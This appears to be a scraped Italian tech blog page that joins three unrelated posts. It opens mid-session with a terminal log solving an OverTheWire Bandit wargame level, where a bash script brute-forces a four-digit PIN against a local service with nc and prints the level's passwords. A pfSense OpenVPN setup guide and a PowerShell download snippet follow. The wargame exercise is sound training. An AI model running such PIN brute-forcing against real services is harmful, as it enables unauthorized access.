tcp        0      0 0.0.0.0:30002           0.0.0.0:*               LISTEN 
bandit24@melinda:~$ cd /tmp/stef
bandit24@melinda:/tmp/stef$ ls
bandit24@melinda:/tmp/stef$ touch scriptLev24.sh
bandit24@melinda:/tmp/stef$ chmod +x scriptLev24.sh
bandit24@melinda:/tmp/stef$ cat scriptLev24.sh 
#!/bin/bash

lvl23psw="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
outputfile="outputlvl24.txt"
#For more info search "Zero padding"
for i in $(seq -f "%04g" 0 9999)
do
  echo "using code $i" | tee -a $outputfile
  echo "$lvl23psw $i" | nc localhost 30002 | tee -a $outputfile
done

echo "done"
bandit24@melinda:/tmp/stef$ ./scriptLev24.sh
#Dopo qualche tempo le script troverà la password:
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Pfsense 2: OpenVPN con TLS e autenticazione utente

Come configurare OpenVPN con TLS e autenticazione locale utente su Pfsense 2.

Installazione del pacchetto OpenVPN Client export utility

Prima di tutto risulterà utile installare il pacchetto OpenVPN Client export utility.

Andiamo quindi su System > Packages

Schermata 2014-03-11 alle 09.03.45

e scegliamo il pacchetto OpenVPN Client Export Utility, cliccando sull’icona con il simbolo + in corrispondenza della riga.

Schermata 2014-03-11 alle 09.14.40

Una volta che il pacchetto ha concluso l’installazione, entriamo nella sezione di configurazione di OpenVPN in VPN > OpenVPN

Schermata 2014-03-11 alle 09.23.01

per controllare che pacchetto sia stato correttamente installato. Dovremmo trovare un nuovo tab con la dicitura “Client Export”

Schermata 2014-03-11 alle 09.25.36

Creazione di una Certification Authority e di un nuovo utente con certificato

Per creare una certification authority interna: System > Cert Manager. All’interno della sezione CA clicchiamo sul simbolo “+” per avviare la procedura guidata.

Schermata 2014-03-11 alle 09.31.23

Scegliamo quindi una descrizione, un algoritmo, la lunghezza della chiave, la durata del certificato e quindi compiliamo i campi richiesti. Tutti i campi sono obbligatori, scegliamo un nome di certificato, nel nostro caso RoadWarriorCa.

Schermata 2014-03-11 alle 09.36.58

Una volta conclusa la procedura ci verrà mostrata una schermata simile alla seguente:

Schermata 2014-03-11 alle 09.40.43

Creiamo un nuovo utente andando su System > User Manager.

Schermata 2014-03-11 alle 09.50.25

Clicchiamo sul simbolo “+” nella sezione user e completiamo i campi con i dati richiesti.

Creiamo quindi un certificato per l’utente, cliccando nella sezione “Certificate”. Compiliamo i campi che appaiono scegliendo la CA creata precedentemente.

Schermata 2014-03-11 alle 09.55.46

Una volta creato verifichiamo che il nuovo utente sia comparso nella lista degli utenti.

Configurazione server OpenVPN

Andiamo nella sezione VPN > OpenVPN e clicchiamo su Wizards

Schermata 2014-03-11 alle 10.01.27

Nel Wizard scegliamo:

Type of server: Local user access

Certification Authority: La CA creata nei passi precedenti

Nella sezione “Choose a Server Certificate”, creiamo un certificato per il server, cliccando sul pulsante “Add New Certificate”.

Compiliamo tutti i campi e procediamo cliccando sul pulsante “Create new certificate”.

Schermata 2014-03-11 alle 10.07.13

Una volta creato il certificato scegliamo il protocollo e la porta da utilizzare.

Schermata 2014-03-11 alle 10.10.32

Nella sezione successiva selezioniamo l’algoritmo crittografico desiderato, nel nostro caso BF-CBC (128 bit)

Schermata 2014-03-11 alle 10.12.22

Procediamo successivamente all’impostazione del tunnel. In particolare specifichiamo l’indirizzamento della rete virtuale utilizzata per le comunicazioni tra il road warrior ed il server e l’indirizzo, sempre in notazione CIDR, della rete locale in cui risiede il server.

Opzionalmente può essere scelto di limitare le connessioni concorrenti e di utilizzare compressione utilizzando l’algoritmo LZO.

Schermata 2014-03-11 alle 10.14.42

Nella sezione successiva possiamo specificare, se necessario, le impostazioni del client.

Clicchiamo quindi sul pulsante “Next” per aggiungere al firewall le regole necessarie al funzionamento della VPN appena creata.

Schermata 2014-03-11 alle 10.21.56

Concludiamo la configurazione guidata cliccando su “Next”

Schermata 2014-03-11 alle 10.22.27

Verrà visualizzata la lista contenente i server VPN.

Schermata 2014-03-11 alle 10.25.38

Possiamo esportare e salvare la configurazione OpenVPN per il nostro client cliccando su Client Export.

Scaricare file con PowerShell

Spesso occorre scaricare file da internet direttamente da PowerShell. Senza interfaccia grafica o senza un applicativo come wget può risultare un’operazione difficile.

Vediamo quindi come fare il download di un file in PowerShell.

Di seguito un esempio di script che possiamo eseguire direttamente in PowerShell:

$indirizzo è l’url completo da cui vogliamo scaricare il file.

$salvacome contiene il percorso della cartella e il nome del file che andremo a salvare.

$webclient = New-Object System.Net.WebClient
$indirizzo = "http://www.example.com/path/file.iso"
$salvacome = "c:\iso\file.iso"
$webclient.DownloadFile($indirizzo,$salvacome)